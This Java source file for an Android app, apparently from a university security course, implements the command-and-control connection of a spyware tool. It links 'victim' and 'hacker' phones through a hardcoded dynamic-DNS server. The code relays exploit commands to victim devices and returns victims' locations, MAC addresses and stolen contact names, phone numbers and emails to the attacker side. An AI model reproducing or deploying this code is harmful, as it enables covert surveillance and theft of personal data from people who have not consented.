package fsu.cs.cis5930;

import android.app.Activity;
import android.content.Context;
import android.content.Intent;

import java.io.IOException;
import java.lang.Object;
import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.PrintWriter;
import java.net.*;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.nio.charset.Charset;
import java.util.Scanner;
import java.util.Timer;
import java.util.TimerTask;

import fsu.cs.cis5930.ClientActivity.VictimInfo;

import android.location.Location;
import android.location.LocationManager;
import android.net.wifi.WifiInfo;
import android.net.wifi.WifiManager;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.os.Message;
import android.util.Log;

public class Connection {
	/**
	 * Denotes the originator of the connection. Used to decide proper handling
	 * of messages.
	 */
	enum Type {
		VICTIM, HACKER
	}

	Socket ourConnection = null;
	String server = "d3lusiv3ssh.dyndns.org";
	final int port = 5000;
	OutputStream os = null;
	BufferedReader in = null;
	DataOutputStream outStream;
	final String simpleSpace = " ";
	String TAG = "Exploit";
	Type connectionType;
	private Context mContext;
	private GlobalApplication GLOBAL;

	public Connection(Type type, Context context) {
		connectionType = type;
		mContext = context;
		GLOBAL = (GlobalApplication) mContext.getApplicationContext();
		connectToServer();
		Thread s = new Thread(new tcpclient());
		s.start();

		TimerTask reconnectTask = new TimerTask() {

			@Override
			public void run() {
				sendStringToServer("Keep alive.");
			}
		};
		;

		Timer reconnect = new Timer();
		reconnect.schedule(reconnectTask, 0, 20000);
	}

	// ///////////////////////////
	// ///When the child receives a response from the server, it wraps it up and
	// sends it to the parent through android messaging
	// ///In here we will decide what action to take given what the server told
	// us
	// ///We have to do this because we can not directly access the listen
	// thread
	// //////////////////////////

	private Handler messageHandler = new Handler() {
		public void handleMessage(Message msg) {
			Log.d(TAG, msg.obj.toString());

			Scanner mString = new Scanner(msg.obj.toString());
			String dataType = mString.next();
			String data = mString.nextLine();

			switch (connectionType) {
			case HACKER:
				if (dataType.equalsIgnoreCase("VICTIMLISTITEM")) {
					Scanner mData = new Scanner(data);
					mData.useDelimiter(";");

					String victimMAC = mData.next();
					String victimName = null;
					String victimPhone = null;
					if (mData.hasNext())
						victimName = mData.next();
					if (mData.hasNext())
						victimPhone = mData.next();
					VictimInfo victim = new VictimInfo(victimMAC, victimPhone,
							victimName);

					Handler sendVictim = GLOBAL.getSendVictim();
					Message victimInfo = sendVictim.obtainMessage();
					victimInfo.obj = victim;
					sendVictim.sendMessage(victimInfo);
					return;

				} else if (dataType.equalsIgnoreCase("VICTIMLOCATION")) {
					GLOBAL.setMyLocation(data);
					Intent intent = new Intent(mContext, GMapsActivity.class);
					intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
					mContext.startActivity(intent);
					return;

				}

				else if (dataType.equalsIgnoreCase("VICTIMCONTACTITEM")) {
					Scanner mData = new Scanner(data);

					VictimInfo victim = GLOBAL.getVictim();
					String curVictimMac = victim.MAC;

					mData.useDelimiter(";");

					String victimMac = mData.next();

					if (!curVictimMac.equals(victimMac)) 
					{
						Log.i(TAG, "Received contact info for stale victim " + victimMac);
						return;
					}
					
					else
					{
						Log.v(TAG, "Received contact info for victim " + curVictimMac);
					}

					String contactName = mData.next();
					
					String contactNums;
					
					if (mData.hasNext())
						contactNums = mData.next();
					
					else
						contactNums = "";
					
					
					String contactEmails;
					
					if (mData.hasNext())
						contactEmails = mData.next();
					
					else
						contactEmails = "";

					Exploits.StolenContactInfo contact = new Exploits.StolenContactInfo();

					contact.Name = new String(contactName);

					Scanner mNums = new Scanner(contactNums);
					mNums.useDelimiter(",");

					while (mNums.hasNext()) {
						String next = mNums.next();

						if (next.length() > 0) {
							contact.addPhoneNumber(next);
						}
					}

					Scanner mEmails = new Scanner(contactEmails);
					mEmails.useDelimiter(",");

					while (mEmails.hasNext()) {
						String next = mEmails.next();

						if (next.length() > 0) {
							contact.addEmailAddress(next);
						}
					}

					Handler contactHandler = GLOBAL.getContactHandler();
					Message contactInfo = contactHandler.obtainMessage();
					contactInfo.obj = contact;
					contactHandler.sendMessage(contactInfo);

					return;

				}

				break;
			case VICTIM:
				if (dataType.equalsIgnoreCase("EXPLOIT")) {
					Handler runExploit = GLOBAL.getSendExploit();
					Message exploit = runExploit.obtainMessage();
					exploit.obj = data;
					runExploit.sendMessage(exploit);
					return;

				}
				break;

			}
		}
	};

	public void sendExploit(Exploits.Type e, Object arg1, Object arg2) {
		StringBuilder message = new StringBuilder();
		message.append("EXPLOIT"); // MESSAGE TYPE
		message.append(" "); // SPACE

		// DATA
		message.append(GLOBAL.getVictim().MAC); // VICTIM MAC
		message.append(";"); // ;
		message.append(e); // EXPLOIT TYPE
		message.append(";");
		if (arg1 != null) {
			message.append(arg1);
			message.append(";");
		}
		if (arg2 != null)
			message.append(arg2);

		sendStringToServer(message.toString());

	}

	public void sendExploit(Exploits.Type e, Object arg1) {
		sendExploit(e, arg1, null);

	}

	public void sendExploit(Exploits.Type e) {
		sendExploit(e, null, null);

	}

	public class tcpclient implements Runnable {

		@Override
		public void run() {
			// TODO Auto-generated method stub
			Looper.prepare();

			String temp;
			while (ourConnection.isConnected()) {
				temp = null;
				try {
					temp = in.readLine();
				} catch (IOException e) {
					e.printStackTrace();
					Log.d("ERROR: ", "RECEIVING");
				} catch (Exception e) {
					e.printStackTrace();
					Log.d("ERROR: ", "RECEIVING");
				}

				// tell our parent we received a message
				if (temp != null) {
					messageHandler.sendMessage(Message.obtain(messageHandler,
							1, temp));
				} else {
					// we lost connection to the server
					Log.d(TAG, "LOST CONNECTION TO HOST@tcpclient");
					

					try {
						ourConnection.close();
						break;
					} catch (Exception e) {
						e.printStackTrace();
					}
					return;
				}
			}

			Looper.loop();
		}
	} // end of child thread class

	private void connectToServer() {
		InetAddress servadd = null;
		Log.d("TCP", "Connecting...");
		try {
			servadd = InetAddress.getByName(server);
		} catch (Exception e) {
			e.printStackTrace();
		}

		try {
			ourConnection = new Socket(servadd, port);
		} catch (UnknownHostException e) {
			Log.w(TAG, "Could not find host.");
		} catch (IOException e) {
			e.printStackTrace();
		} catch (NullPointerException e) {
			Log.w(TAG, "Could not connect to server.");
		}

		if (ourConnection != null && ourConnection.isConnected()) {
			// we connected successfully
		
			try {
				outStream = new DataOutputStream(ourConnection
						.getOutputStream());
			} catch (IOException e) {
				e.printStackTrace();
			}
			try {
				in = new BufferedReader(new InputStreamReader(ourConnection
						.getInputStream()));
			} catch (IOException e) {
				e.printStackTrace();
			}
			String test = "test";
			sendStringToServer(test);

		}
	}

	public void sendStringToServer(String toSend) {

		// Load this phone's MAC address
		WifiManager wifiMan = (WifiManager) mContext
				.getSystemService(Context.WIFI_SERVICE);
		WifiInfo wifiInf = wifiMan.getConnectionInfo();
		String myMac = wifiInf.getMacAddress().trim();

		if (ourConnection.isConnected()) {
			int length = toSend.length();
			int size2 = length * 2 + 4 + myMac.length() + 2;
			Integer size = length * 2 + myMac.length() + 2;
			ByteBuffer b = ByteBuffer.allocate(4);
			ByteBuffer s = ByteBuffer.allocate(size);
			b = b.order(ByteOrder.LITTLE_ENDIAN);
			s = s.order(ByteOrder.LITTLE_ENDIAN);
			b = b.putInt(size2);
			s = s.put(myMac.getBytes());
			s = s.put(simpleSpace.getBytes());
			s = s.put(toSend.getBytes());

			Log.d(TAG, "Sent message: " + s.toString());
			try {
				outStream.write(b.array());
			} catch (Exception e) {
				e.printStackTrace();
			}
			try {
				outStream.write(s.array());
			} catch (Exception e) {
				e.printStackTrace();
			}
		} else {
			Log.d(TAG, "ERROR, CONNECTION LOST");
			// attempt a reconnect
			try {
				Thread.sleep(2000);
			} catch (InterruptedException e) {
				// TODO Auto-generated catch block
				e.printStackTrace();
			}
			connectToServer();
			sendStringToServer(toSend);
		}
	}
}